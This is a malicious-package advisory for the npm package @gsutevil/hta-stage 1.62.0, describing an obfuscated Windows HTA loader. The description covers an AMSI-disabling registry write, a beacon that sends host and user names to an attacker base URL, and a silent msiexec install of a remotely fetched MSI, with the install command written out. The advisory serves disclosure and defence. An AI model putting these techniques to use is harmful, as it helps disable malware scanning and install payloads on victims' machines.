@gsutevil/hta-stage

Details

**Severity:** Critical

**Affected versions:** `= 1.62.0`

## Source: amazon-inspector (590b3432b8d849d5772e3be7a4fbc7daeca4aa927be2d411aaf3054d9a223dc9)
The package ships a Windows HTA/WSH loader that installs a remote MSI on the victim host under the control of a base URL supplied at runtime via window.__gsutBases. On execution it (1) disables Anti-Malware Scan Interface for Windows Script Host by writing HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable = 0 through both WScript.Shell.RegWrite and WMI StdRegProv.SetDWORDValue, with the value name reconstructed from a split array to evade static detection; (2) reads %COMPUTERNAME% and %USERNAME% via WScript.Shell.ExpandEnvironmentStrings and POSTs them together with phase/exit codes to <base>/v1/hta/event; (3) taskkills python.exe, pythonw.exe, core.exe, guest.exe and enumerates HKLM/HKCU Uninstall keys via WMI to silently msiexec-uninstall any product whose DisplayName equals "GSUT Guest" — prior-agent cleanup rather than a benign uninstall; (4) requests a token from <base>/v1/hta/msi-token and invokes msiexec /i "<base>/guest.msi?t=<tok>" /qn /norestart REBOOT=ReallySuppress via WScript.Shell.Run, with fallbacks through Shell.Application.ShellExecute and wmic process call create. Every sensitive identifier — ActiveXObject, WScript.Shell, Shell.Application, WbemScripting.SWbemLocator, StdRegProv, AmsiEnable, EtwEventWriteEx, GetProcAddress, GetModuleHandleA, VirtualProtect, MSXML2.ServerXMLHTTP, msiexec, wmic, and the Function constructor used to parse the token response — is reconstructed at runtime from character-array joins or string concatenation to evade signature scanning. The combined behavior (AMSI disablement, host-identity beacon, prior-implant cleanup, silent installation of a remotely fetched MSI from an attacker-supplied base URL, uniform identifier obfuscation) is the fingerprint of an HTA-stage malware loader.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/8e7f15566f850ea5445f89d95771f9e4d9a10b24/osv/malicious/n […]

**References:**
- https://github.com/ossf/malicious-packages/blob/8e7f15566f850ea5445f89d95771f9e4d9a10b24/osv/malicious/npm/@gsutevil/hta-stage/MAL-2026-16419.json
- https://www.npmjs.com/package/@gsutevil/hta-stage/v/1.62.0
- https://github.com/advisories/GHSA-95xp-29r3-v466

Compromised versions (1)

• = 1.62.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.